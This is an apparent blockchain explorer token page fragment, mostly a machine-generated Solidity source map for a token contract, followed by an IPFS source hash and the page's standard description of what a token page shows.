8:1;;;5919:43;5979:19;;7229:78:0;5595:409:1;7229:78:0;-1:-1:-1;;;;;7326:23:0;;7318:79;;;;-1:-1:-1;;;7318:79:0;;6211:2:1;7318:79:0;;;6193:21:1;6250:2;6230:18;;;6223:30;6289:34;6269:18;;;6262:62;-1:-1:-1;;;6340:18:1;;;6333:41;6391:19;;7318:79:0;6009:407:1;7318:79:0;7455:88;7486:6;7455:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7455:26:0;;;;;;:18;:26;;;;;;;:88;:30;:88::i;:::-;-1:-1:-1;;;;;7426:26:0;;;;;;;:18;:26;;;;;;:117;;;;7586:29;;;;;;;:41;;7620:6;7586:33;:41::i;:::-;-1:-1:-1;;;;;7554:29:0;;;;;;;:18;:29;;;;;;;:73;;;;7643:35;;;;;;;;;;7671:6;1367:25:1;;1355:2;1340:18;;1221:177;2709:178:0;2795:7;2827:12;2819:6;;;;2811:29;;;;-1:-1:-1;;;2811:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2847:9:0;2859:5;2863:1;2859;:5;:::i;:::-;2847:17;2709:178;-1:-1:-1;;;;;2709:178:0:o;2396:167::-;2454:7;;2482:5;2486:1;2482;:5;:::i;:::-;2470:17;;2507:1;2502;:6;;2494:46;;;;-1:-1:-1;;;2494:46:0;;7018:2:1;2494:46:0;;;7000:21:1;7057:2;7037:18;;;7030:30;7096:29;7076:18;;;7069:57;7143:18;;2494:46:0;6816:351:1;2494:46:0;2556:1;2396:167;-1:-1:-1;;;2396:167:0:o;14:527:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;263:1;273:140;287:6;284:1;281:13;273:140;;;398:2;382:14;;;378:23;;372:30;367:2;348:17;;;344:26;337:66;302:10;273:140;;;277:3;462:1;457:2;448:6;437:9;433:22;429:31;422:42;532:2;525;521:7;516:2;508:6;504:15;500:29;489:9;485:45;481:54;473:62;;;14:527;;;;:::o;546:173::-;614:20;;-1:-1:-1;;;;;663:31:1;;653:42;;643:70;;709:1;706;699:12;643:70;546:173;;;:::o;724:300::-;792:6;800;853:2;841:9;832:7;828:23;824:32;821:52;;;869:1;866;859:12;821:52;892:29;911:9;892:29;:::i;:::-;882:39;990:2;975:18;;;;962:32;;-1:-1:-1;;;724:300:1:o;1403:374::-;1480:6;1488;1496;1549:2;1537:9;1528:7;1524:23;1520:32;1517:52;;;1565:1;1562;1555:12;1517:52;1588:29;1607:9;1588:29;:::i;:::-;1578:39;;1636:38;1670:2;1659:9;1655:18;1636:38;:::i;:::-;1403:374;;1626:48;;-1:-1:-1;;;1743:2:1;1728:18;;;;1715:32;;1403:374::o;1971:610::-;2057:6;2065;2118:2;2106:9;2097:7;2093:23;2089:32;2086:52;;;2134:1;2131;2124:12;2086:52;2174:9;2161:23;2207:18;2199:6;2196:30;2193:50;;;2239:1;2236;2229:12;2193:50;2262:22;;2315:4;2307:13;;2303:27;-1:-1:-1;2293:55:1;;2344:1;2341;2334:12;2293:55;2384:2;2371:16;2410:18;2402:6;2399:30;2396:50;;;2442:1;2439;2432:12;2396:50;2495:7;2490:2;2480:6;2477:1;2473:14;2469:2;2465:23;2461:32;2458:45;2455:65;;;2516:1;2513;2506:12;2455:65;2547:2;2539:11;;;;;2569:6;;-1:-1:-1;1971:610:1;-1:-1:-1;;;1971:610:1:o;2586:186::-;2645:6;2698:2;2686:9;2677:7;2673:23;2669:32;2666:52;;;2714:1;2711;2704:12;2666:52;2737:29;2756:9;2737:29;:::i;2985:260::-;3053:6;3061;3114:2;3102:9;3093:7;3089:23;3085:32;3082:52;;;3130:1;3127;3120:12;3082:52;3153:29;3172:9;3153:29;:::i;:::-;3143:39;;3201:38;3235:2;3224:9;3220:18;3201:38;:::i;:::-;3191:48;;2985:260;;;;;:::o;3250:380::-;3329:1;3325:12;;;;3372;;;3393:61;;3447:4;3439:6;3435:17;3425:27;;3393:61;3500:2;3492:6;3489:14;3469:18;3466:38;3463:161;;3546:10;3541:3;3537:20;3534:1;3527:31;3581:4;3578:1;3571:15;3609:4;3606:1;3599:15;3463:161;;3250:380;;;:::o;3635:127::-;3696:10;3691:3;3687:20;3684:1;3677:31;3727:4;3724:1;3717:15;3751:4;3748:1;3741:15;3957:399;4159:2;4141:21;;;4198:2;4178:18;;;4171:30;4237:34;4232:2;4217:18;;4210:62;-1:-1:-1;;;4303:2:1;4288:18;;4281:33;4346:3;4331:19;;3957:399::o;6421:127::-;6482:10;6477:3;6473:20;6470:1;6463:31;6513:4;6510:1;6503:15;6537:4;6534:1;6527:15;6553:128;6620:9;;;6641:11;;;6638:37;;;6655:18;;:::i;6686:125::-;6751:9;;;6772:10;;;6769:36;;;6785:18;;:::i
Swarm Source
ipfs://3e9ce7b08a6e1fd2ef1241d4f7793392985e4a07c647831f00b3c784c9d20fa3
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.